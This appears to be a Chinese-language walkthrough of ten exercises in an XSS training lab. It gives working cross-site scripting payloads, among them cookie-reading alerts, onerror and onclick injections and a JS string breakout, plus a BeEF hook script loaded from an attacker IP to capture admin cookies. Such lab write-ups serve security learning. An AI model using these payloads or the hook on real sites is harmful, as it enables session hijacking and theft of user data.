XSS:
XSS(跨站腳本)概述
Cross-Site Scripting 簡稱為“CSS”,為避免與前端疊成樣式表的縮寫"CSS"沖突,故又稱XSS。一般XSS可以分為如下幾種常見類型:
1.反射性XSS;
2.存儲型XSS;
3.DOM型XSS;
XSS漏洞一直被評估為web漏洞中危害較大的漏洞,在OWASP TOP10的排名中一直屬于前三的江湖地位。
XSS是一種發生在前端瀏覽器端的漏洞,所以其危害的對象也是前端用戶。
形成XSS漏洞的主要原因是程序對輸入和輸出沒有做合適的處理,導致“精心構造”的字符輸出在前端時被瀏覽器當作有效代碼解析執行從而產生危害。
因此在XSS漏洞的防范上,一般會采用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理:
輸入過濾:對輸入進行過濾,不允許可能導致XSS攻擊的字符輸入;
輸出轉義:根據輸出點的位置對輸出到前端的內容進行適當轉義;
你可以通過“Cross-Site Scripting”對應的測試欄目,來進一步的了解該漏洞。
目錄
XSS:
1.反射型xss(get):
2.反射性xss(post):
3.存儲型xss:
4.DOM型xss:
5.DOM型xss-x:
6.xss盲打:
7.xss之過濾:
8.xss之htmlspecialchars:
9.xss之href輸出:
10.xss之js輸出:
1.反射型xss(get):
這里是用get請求做了一個長度的限制,我們使用hackbar來進行傳參,頁面會彈出一個xss,證明存在xss漏洞,我們順便講一下 beef-xss工具。
<script>alert('xss')</script>
我們先登錄平臺,在靶場這里輸入上面的XSS重定向。
上線后,即可看見盜取瀏覽器的cookie等操作。
2.反射性xss(post):
這里我們首先登陸一下,
利用burp抓包修改以下代碼。即可返回當前的cookie。
<script>alert(document.cookie)</script>
3.存儲型xss:
個人理解:多數在留言板或者評論區,任意用戶訪問到該頁面時,都會存在你的惡意代碼。
這里一樣的,輸入以下代碼,我們訪問試試。任何人訪問時都會進行彈窗。
<script>alert(document.cookie)</script>
4.DOM型xss:
在輸入框隨便輸入 11 ,F12 可以看見,11 被添加在了 <a> </a> 標簽里面(html的超鏈接標簽)
開始構建payload
以下是源碼部分<div id="xssd_main"><script>function domxss(){var str = document.getElementById("text").value;document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}</script><!--<a href="" onclick=('xss')>--><input id="text" name="text" type="text" value="" /><input id="button" type="button" value="click me!" onclick="domxss()" /><div id="dom"></div></div>
---------------------------------------------------<a href=''>what do you see?</a>這里很明顯 我們要在引號上做更多的操作
我們輸入 '> 變成了<a href=''>'>what do you see?</a>
很明顯我們可以構造一個點擊事件 'onclick='alert(1)'>
點擊 what do you see? 的超鏈接時就可以進行彈框。
我們還可以有其他操作。
<a href=''>what do you see?</a>這里很明顯 我們要在引號上做更多的操作
我們輸入 '> 變成了<a href=''>'>what do you see?</a>
很明顯我們可以構造一個點擊事件 'onclick='alert(1)'>
點擊 what do you see? 的超鏈接時就可以進行彈框。
我們可以添加一個圖像和一個錯誤事件,當找不到圖像的地址時就可以利用 onerror 事件來進行彈框
'onclick='alert(1)'><img src=''onerror='alert('xss')'/>
'><img src=''onerror='alert(1)'/>
即變成<a href=''><img src=''onerror='alert(1)'/>'>what do you see?</a>
輸入 '><img src=''onerror='alert(1)'/> 提交后,即可直接彈窗。
5.DOM型xss-x:
這題和上面的沒啥區別,先看看源碼。
點擊<a></a>標簽執行 function domxss() 彈出 xss。
payload
'onclick='alert(1)'>
function domxss(){var str = window.location.search; 獲取當前URL的查詢字符串部分var txss = decodeURIComponent(str.split("text=")[1]); 將查詢字符串按照"text="進行分割,返回一個數組,用于解碼字符串,將特殊字符轉換為原始字符。var xss = txss.replace(/\+/g,' '); 是一個正則表達式,用于匹配加號字符。函數將匹配到的加號字符替換為空格
// alert(xss); 最后,將處理后的字符串賦值給變量xssdocument.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";}</script><!--<a href="" onclick=('xss')>--><form method="get"><input id="text" name="text" type="text" value="" /><input id="submit" type="submit" value="請說出你的傷心往事"/></form><div id="dom"></div></div><a href='#' onclick='domxss()'>有些費盡心機想要忘記的事情,后來真的就忘掉了</a>
6.xss盲打:
先提交數據,再看看提示,登錄后臺,可以看見提交的數據。
我們再次利用 beef-xss 在上方輸入框輸入:
<script src="http://192.168.10.129:3000/hook.js"></script>
我們點擊提交,在登陸后臺,beef-xss 即可上線。獲取后臺登陸cookie。
7.xss之過濾:
我們嘗試的輸入:
<script>alert(1)</script>
回顯只留下了 >
srcipt
沒有過濾
<script>
只保留 > 發現是過濾的 <scrip
方法很簡單,不用 <script></script> 標簽即可。
我們添加一個圖像和一個 onerror 事件。
<img src=''onerror='alert(1)'/>
8.xss之htmlspecialchars:
htmlspecialchars是php的一個函數,可以輸入和返回一個字符串。
我們將 <script> 輸入得到 <script>
<?php
echo htmlspecialchars("<script>");
<script>
很明顯是把 < > 轉義了。
我們在輸入框中輸入 <srcipt> 看源代碼得到
我們可以看到 ' 是沒有被轉義的,所以我們創建一個點擊事件。
'onclick='alert(1)'
OK,成功彈窗。
9.xss之href輸出:
這里我們在輸入框隨便輸入 1234 ,發現沒有效果,看看源碼,發現 ' 被轉義。
輸入框輸入: 'οnclick='alert(1)'
'onclick='alert(1)'
'onclick='alert(1)'
10.xss之js輸出:
輸入框輸入 <script>alert(1)</script> 頁面毫無變化。
查看源碼:
<script>$ms='<script>alert(1)</script>';
//輸入的字符變成了變量,我們構造一下
//$ms='';
//$ms='';alert(1);//'; //這樣子即可
// payload ';alert(1);//if($ms.length != 0){if($ms == 'tmac'){$('#fromjs').text('tmac確實厲害,看那小眼神..')}else {
// alert($ms);$('#fromjs').text('無論如何不要放棄心中所愛..')}}
</script>
輸入嘗試,成功彈窗。